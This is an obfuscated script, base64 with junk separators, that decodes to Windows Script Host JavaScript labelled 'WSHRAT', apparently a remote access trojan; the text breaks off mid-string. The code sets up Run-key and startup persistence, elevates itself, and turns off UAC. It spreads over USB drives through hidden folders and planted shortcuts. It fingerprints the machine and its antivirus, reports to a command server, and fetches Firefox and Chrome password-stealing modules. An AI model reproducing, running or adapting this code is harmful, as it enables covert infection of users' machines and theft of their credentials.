pOyB9Y2F0Y2goZWVlZSl7fQogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIGlmIChmaWxlaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7I&gt;&gt;%ogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBsbmtvYmouaWNvbkxvY2F0aW9uID0gZmlsZS5wYXRoOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIH1lbHNlIHsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gbG5rb2JqLmljb25Mb2NhdGlvbi&gt;&gt;%9IGZpbGVpY29uOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIH0KIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBsbmtvYmouc2F2ZSgpOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gfQogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICB9Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gfQoJCX1jYXRjaChlcnIpe30KIC&gt;&gt;%gIH0KCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl0cnl7CgkJdmFyIGZvbGRlci&gt;&gt;%9IGZpLml0ZW0oKTsKIC&gt;&gt;%gIC&gt;&gt;%gICBpZi&gt;&gt;%obG5rZm9sZGVyID09IGZhbHNlKXticmVhazt9Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gZm9sZGVyLmF0dHJpYnV0ZXMgPS&gt;&gt;%yKzQ7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gZm9sZGVybmFtZS&gt;&gt;%9IGZvbGRlci5uYW1lOwogIC&gt;&gt;%gIC&gt;&gt;%gIGxua29iai&gt;&gt;%9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3V0KGRyaXZlLnBhdGggKy&gt;&gt;%iXFwiIC&gt;&gt;%rIGZvbGRlcm5hbWUgKy&gt;&gt;%iLmxuayIpOy&gt;&gt;%KIC&gt;&gt;%gIC&gt;&gt;%gICBsbmtvYmoud2luZG93U3R5bGUgPS&gt;&gt;%3OwogIC&gt;&gt;%gIC&gt;&gt;%gIGxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOwogIC&gt;&gt;%gIC&gt;&gt;%gIGxua29iai53b3JraW5nRGlyZWN0b3J5ID0gIiI7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gbG5rb2JqLmFyZ3VtZW50cy&gt;&gt;%9ICIvYyBzdGFydC&gt;&gt;%iICsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKy&gt;&gt;%iJnN0YXJ0IGV4cGxvcmVyICIgKyBmb2xkZXIubmFtZS5yZXBsYWNlKG5ldyBSZWdFeH&gt;&gt;%oIi&gt;&gt;%iLC&gt;&gt;%iZyIpLC&gt;&gt;%iXCIgXCIiKS&gt;&gt;%rIiZleGl0IjsKIC&gt;&gt;%gIC&gt;&gt;%gICBmb2xkZXJpY29uID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcZm9sZGVyXFxkZWZhdWx0aWNvblxcIik7I&gt;&gt;%ogIC&gt;&gt;%gIC&gt;&gt;%gIGlmIChmb2xkZXJpY29uLmluZGV4T2YoIiwiKS&gt;&gt;%9PS&gt;&gt;%wKXsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gbG5rb2JqLmljb25Mb2NhdGlvbi&gt;&gt;%9IGZvbGRlci5wYXRoOwogIC&gt;&gt;%gIC&gt;&gt;%gIH1lbHNlIHsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gbG5rb2JqLmljb25Mb2NhdGlvbi&gt;&gt;%9IGZvbGRlcmljb247Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gfQogIC&gt;&gt;%gIC&gt;&gt;%gIGxua29iai5zYXZlKCk7CgkJfWNhdGNoKGVycil7fQogIC&gt;&gt;%gfQp9Cn0KfQp9Cn0KCmZ1bmN0aW9uIHN0YXJ0dXBFbGV2YXRlKCl7CglpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCXRyeXsKCQkJV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIi&gt;&gt;%rIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKy&gt;&gt;%iXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCX1jYXRjaChubil7CgkJfQoJCVdTY3JpcHQucXVpdCgpOwoJfQp9CgpmdW5jdGlvbiBkaXNhYmxlU2VjdXJpdHkoKXsKCWlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS&gt;&gt;%9PSB0cnVlKXsKCQl2YXIgb1JlZy&gt;&gt;%9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGRlZmF1bHQ6U3RkUmVnUHJvdiIpOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMD&gt;&gt;%wMD&gt;&gt;%yLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkVuYWJsZUxVQSIsID&gt;&gt;%pOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMD&gt;&gt;%wMD&gt;&gt;%yLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkNvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluIiwgMCk7CgkJb1JlZy&gt;&gt;%9IG51bGw7Cgl9Cn0KCmZ1bmN0aW9uIHVuaW5zdGFsbCgpewp0cnl7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnRyeXsKIC&gt;&gt;%gIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsKIC&gt;&gt;%gIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7Cn1jYXRjaChlaSl7fQp0cnl7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOwpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS&gt;&gt;%sdHJ1ZSk7Cn1jYXRjaChlZWope30KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpewp2YXIgZHJpdmUgPSBkcmkuaXRlbSgpOwppZi&gt;&gt;%oZHJpdmUuaXNyZWFkeS&gt;&gt;%9PSB0cnVlKXsKaWYgKGRyaXZlLmZyZWVzcGFjZS&gt;&gt;%+ID&gt;&gt;%gKXsKaWYgKGRyaXZlLmRyaXZldHlwZS&gt;&gt;%9PS&gt;&gt;%xICl7Cglmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aC&gt;&gt;%rICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC&gt;&gt;%gIC&gt;&gt;%gICB2YXIgZmlsZS&gt;&gt;%9IGZpLml0ZW0oKTsKCQkgdHJ5ewogIC&gt;&gt;%gIC&gt;&gt;%gICBpZi&gt;&gt;%oZmlsZS5uYW1lLmluZGV4T2YoIi4iKSl7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBpZi&gt;&gt;%oKGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aC&gt;&gt;%tIDFdKS50b0xvd2VyQ2FzZSgpICE9ICJsbmsiKXsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBmaWxlLmF0dHJpYnV0ZXMgPS&gt;&gt;%wOwogIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIGlmIChmaWxlLm5hbWUudG9VcHBlckNhc2UoKS&gt;&gt;%hPSBpbnN0YWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKy&gt;&gt;%iXFwiICsgZmlsZW5hbWVbMF0gKy&gt;&gt;%iLmxuayIgKTsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICB9ZWxzZXsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKy&gt;&gt;%iXFwiICsgZmlsZS5uYW1lKTsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICB9Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICB9ZWxzZXsKIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICBmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUgKGZpbGUucGF0aCk7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gICB9Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIH0KCQkgfWNhdGNoKGV4KXt9Ci&gt;&gt;%gIC&gt;&gt;%gfQoJIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogIC&gt;&gt;%gIC&gt;&gt;%gICBmb2xkZXIuYXR0cmlidXRlcy&gt;&gt;%9ID&gt;&gt;%7Ci&gt;&gt;%gIC&gt;&gt;%gfQp9Cn0KfQp9Cn1jYXRjaChlcnIpe30KV1NjcmlwdC5xdWl0KCk7Cn0KCmZ1bmN0aW9uIHBvc3QgKGNtZC&gt;&gt;%scGFyYW0pewp0cnl7Cmh0dHBvYmoub3BlbigicG9zdCIsImh0dH&gt;&gt;%6Ly8iICsgaG9zdC&gt;&gt;%rICI6Ii&gt;&gt;%rIHBvcnQgKyIvIi&gt;&gt;%rIGNtZCwgZmFsc2UpOwpodHRwb2JqLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IixpbmZvcm1hdGlvbigpKTsKaHR0cG9iai5zZW5kKHBhcmFtKTsKcmV0dXJuIGh0dHBvYmoucmVzcG9uc2VUZXh0Owp9Y2F0Y2goZXJyKXsKCXJldHVybi&gt;&gt;%iIjsKfQp9CgpmdW5jdGlvbiBpbmZvcm1hdGlvbigpewp0cnl7CmlmIChpbmYgPT0gIiIpewogIC&gt;&gt;%gaW5mID0gaHdpZCgpICsgc3BsaXRlcjsKIC&gt;&gt;%gIGluZi&gt;&gt;%9IGluZi&gt;&gt;%gKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsKIC&gt;&gt;%gIGluZi&gt;&gt;%9IGluZi&gt;&gt;%gKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKS&gt;&gt;%rIHNwbGl0ZXI7CgogIC&gt;&gt;%gdmFyIHJvb3QgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwogIC&gt;&gt;%gdmFyIG9zID0gcm9vdC5FeGVjUXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIpOwogIC&gt;&gt;%KCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihvcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgb3NpbmZvID0gZmkuaXRlbSgpOwogIC&gt;&gt;%gIC&gt;&gt;%gaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOy&gt;&gt;%gCi&gt;&gt;%gIC&gt;&gt;%gICBicmVhazsKIC&gt;&gt;%gIH0KIC&gt;&gt;%gIGluZi&gt;&gt;%9IGluZi&gt;&gt;%rICJwbHVzIi&gt;&gt;%rIHNwbGl0ZXI7Ci&gt;&gt;%gICBpbmYgPSBpbmYgKyBzZWN1cml0eSgpICsgc3BsaXRlcjsKIC&gt;&gt;%gIGluZi&gt;&gt;%9IGluZi&gt;&gt;%rIHVzYnNwcmVhZGluZzsKIC&gt;&gt;%gIGluZi&gt;&gt;%9ICJXU0hSQVQiICsgc3BsaXRlci&gt;&gt;%rIGluZi&gt;&gt;%rIHNwbGl0ZXIgKy&gt;&gt;%iSmF2YVNjcmlwdC12MS42Ii&gt;&gt;%7Ci&gt;&gt;%gICByZXR1cm4gaW5mOwp9ZWxzZXsKIC&gt;&gt;%gIHJldHVybiBpbmY7Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHVwc3RhcnQgKCl7CnRyeXsKdHJ5ewogIC&gt;&gt;%gc2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfQ1VSUkVOVF9VU0VSXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSwgICJ3c2NyaXB0LmV4ZS&gt;&gt;%vL0IgXCIiICsgaW5zdGFsbGRpci&gt;&gt;%rIGluc3RhbGxuYW1lICsgIlwiIi&gt;&gt;%sICJSRUdfU1oiKTsKIC&gt;&gt;%gIHNoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdLC&gt;&gt;%gIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKy&gt;&gt;%iXCIiICwgIlJFR19TWiIpOwp9Y2F0Y2goZWkpe30KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUsIHRydWUpOwpmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUsIHN0YXJ0dX&gt;&gt;%gKyBpbnN0YWxsbmFtZSwgdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKCmZ1bmN0aW9uIGh3aWQoKXsKdHJ5ewp2YXIgcm9vdC&gt;&gt;%9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBkaXNrcy&gt;&gt;%9IHJvb3QuRXhlY1F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpOwpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZGlza3MpOy&gt;&gt;%hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7CnZhciBkaXNrID0gZmkuaXRlbSgpOwogIC&gt;&gt;%gaWYgKGRpc2sudm9sdW1lU2VyaWFsTnVtYmVyICE9ICIiKXsKIC&gt;&gt;%gIC&gt;&gt;%gICByZXR1cm4gZGlzay52b2x1bWVTZXJpYWxOdW1iZXI7Ci&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gYnJlYWs7Ci&gt;&gt;%gICB9Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHNlY3VyaXR5KCl7CnRyeXsKdmFyIG9iandtaXNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwp2YXIgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iLG51bGwsNDgpOwoKdmFyIHZlcnNpb25zdHIsIG9zdmVyc2lvbjsKZm9yKHZhciBmaS&gt;&gt;%9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogIC&gt;&gt;%gdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7Ci&gt;&gt;%gICB2ZXJzaW9uc3RyID0gb2JqaXRlbS52ZXJzaW9uLnRvU3RyaW5nKCkuc3BsaXQoIi4iKTsKfQoKLy92ZXJzaW9uc3RyID0gY29saXRlbXMudmVyc2lvbi5zcGxpdCgiLiIpOwpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyWzBdICsgIi4iOwpmb3IgKHZhciB4ID0gMTsgeC&gt;&gt;%8IHZlcnNpb25zdHIubGVuZ3RoOyB4KyspewoJIG9zdmVyc2lvbi&gt;&gt;%9IG9zdmVyc2lvbi&gt;&gt;%rIHZlcnNpb25zdHJbMF07Cn0KCm9zdmVyc2lvbi&gt;&gt;%9IGV2YWwob3N2ZXJzaW9uKTsKdmFyIHNjOwppZi&gt;&gt;%ob3N2ZXJzaW9uID4gNil7IHNjID0gInNlY3VyaXR5Y2VudGVyMiI7IH1lbHNleyBzYy&gt;&gt;%9ICJzZWN1cml0eWNlbnRlciI7fQoKdmFyIG9ianNlY3VyaXR5Y2VudGVyID0gR2V0T2JqZWN0KCJ3aW5tZ210czpcXFxcbG9jYWxob3N0XFxyb290XFwiICsgc2MpOwp2YXIgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLC&gt;&gt;%id3FsIiwgMCk7CnZhciBzZWN1ID0gIiI7CmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xhbnRpdmlydXMpOy&gt;&gt;%hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7Cgl2YXIgb2JqYW50aXZpcnVzID0gZmkuaXRlbSgpOwogIC&gt;&gt;%gc2VjdS&gt;&gt;%9IHNlY3UgICsgb2JqYW50aXZpcnVzLmRpc3BsYXlOYW1lICsgIi&gt;&gt;%uIjsKfQppZihzZWN1ID09ICIiKXtzZWN1ID0gIm5hbi1hdiI7fQpyZXR1cm4gc2VjdTsKfWNhdGNoKGVycil7fQp9CmZ1bmN0aW9uIGdldERhdGUoKXsKIC&gt;&gt;%gIHZhciBzID0gIiI7Ci&gt;&gt;%gICB2YXIgZC&gt;&gt;%9IG5ldyBEYXRlKCk7IC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%KIC&gt;&gt;%gIHMgKz0gZC5nZXREYXRlKCkgKy&gt;&gt;%iLyI7IC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gI&gt;&gt;%ogIC&gt;&gt;%gcy&gt;&gt;%rPS&gt;&gt;%oZC5nZXRNb250aCgpICsgMSkgKy&gt;&gt;%iLyI7I&gt;&gt;%ogIC&gt;&gt;%gcy&gt;&gt;%rPSBkLmdldFllYXIoKTsKIC&gt;&gt;%gIHJldHVybiBzOy&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%gIC&gt;&gt;%KfQpmdW5jdGlvbiBpbnN0YW5jZSgpewp0cnl7CnRyeXsKdXNic3ByZWFkaW5nID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIi&gt;&gt;%rIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gKy&gt;&gt;%iXFwiKTsKfWNhdGNoKGVlZSl7fQppZih1c2JzcHJlYWRpbmcgPT0gIiIpewogICBpZi&gt;&gt;%oV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS5zdWJzdHIoMSkudG9Mb3dlckNhc2UoKS&gt;&gt;%9PS&gt;&gt;%iOlxcIi&gt;&gt;%rICBpbnN0YWxsbmFtZS50b0xvd2VyQ2FzZSgpKXsKIC&gt;&gt;%gIC&gt;&gt;%gdXNic3ByZWFkaW5nID0gInRydWUgLS&gt;&gt;%iICsgZ2V0RGF0ZSgpOwogIC&gt;&gt;%gICB0cnl7c2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogIC&gt;&gt;%gfWVsc2V7Ci&gt;&gt;%gIC&gt;&gt;%gIHVzYnNwcmVhZGluZy&gt;&gt;%9ICJmYWxzZS&gt;&gt;%tICIgKyBnZXREYXRlKCk7Ci&gt;&gt;%gIC&gt;&gt;%gIHRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIi&gt;&gt;%rIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogIC&gt;&gt;%gfQp9Cgp1cHN0YXJ0KCk7Cgp2YXIgc2NyaXB0ZnVsbG5hbWVzaG9ydC&gt;&gt;%9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSk7CnZhciBpbnN0YWxsZnVsbG5hbWVzaG9ydC&gt;&gt;%9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoaW5zdGFsbGRpci&gt;&gt;%rIGluc3RhbGxuYW1lKTsKaWYgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkgIT0gaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkpey&gt;&gt;%KIC&gt;&gt;%gIHNoZWxsb2JqLnJ1bigid3NjcmlwdC5leGUgLy9CIFwiIi&gt;&gt;%rIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS&gt;&gt;%rICJcIiIpOwogIC&gt;&gt;%gV1NjcmlwdC5xdWl0KCk7I&gt;&gt;%p9Cm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKTsKCn1jYXRjaChlcnIpewogIC&gt;&gt;%gV1NjcmlwdC5xdWl0KCk7Cn0KfQoKZnVuY3Rpb24gZGVjb2RlX2Jhc2U2NChiYXNlNjRfc3RyaW5nKXsKCXZhciB5aG1fcGVwZS&gt;&gt;%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTsKCXZhciBzcGlrZS&gt;&gt;%9IChXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpKS5jcmVhdGVFbGVtZW50KCJ0bX&gt;&gt;%iKTsKCXNwaWtlLmRhdGFUeXBlID0gImJpbi5iYXNlNjQiOwoJc3Bpa2UudGV4dC&gt;&gt;%9IGJhc2U2NF9zdHJpbmc7Cgl5aG1fcGVwZS5UeXBlID0gMTsKCXlobV9wZXBlLk9wZW4oKTsKCXlobV9wZXBlLldyaXRlKHNwaWtlLm5vZGVUeXBlZFZhbHVlKTsKCXlobV9wZXBlLlBvc2l0aW9uID0gMDsKCXlobV9wZXBlLlR5cGUgPS&gt;&gt;%yOwoJeWhtX3BlcGUuQ2hhclNldC&gt;&gt;%9ICJ1cy1hc2NpaSI7CglyZXR1cm4geWhtX3BlcGUuUmVhZFRleHQoKTsKfQoKZnVuY3Rpb24gZGVjb2RlX3Bhc3MocmV0Y21kKXsKCXRyeXsKCQl2YXIgY29udGVudCwgbnNzLCBjb21tYW5kOwoJCWlmKHJldGNtZC&gt;&gt;%9PS&gt;&gt;%ibW96aWxsYSIpewoJCQljb21tYW5kID0gImdpdmUtbWUtZmZwdiI7CgkJfWVsc2UgaWYocmV0Y21kID09ICJjaHJvbWUiKXsKCQkJY29tbWFuZC&gt;&gt;%9ICJnaXZlLW1lLWNocHYiOwoJCX0KCQl2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgkJb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLC&gt;&gt;%iaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydC&gt;&gt;%rIi8iICsgY29tbWFuZCwgZmFsc2UpOwoJCW9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOwoJCW9iamh0dHBkb3dubG9hZC5zZW5kKCIiKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKy&gt;&gt;%icnVuZGxsIikpewoJCQlmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoaW5zdGFsbGRpci&gt;&gt;%rICJydW5kbGwiKTsKCQl9CgkJCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj&gt;&gt;%wKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCS&gt;&gt;%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS&gt;&gt;%xOy&gt;&gt;%KCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJIC&gt;&gt;%gb2Jqc3RyZWFtZG93bmxvYWQuUG9zaXRpb24gPS&gt;&gt;%wOwoJCS&gt;&g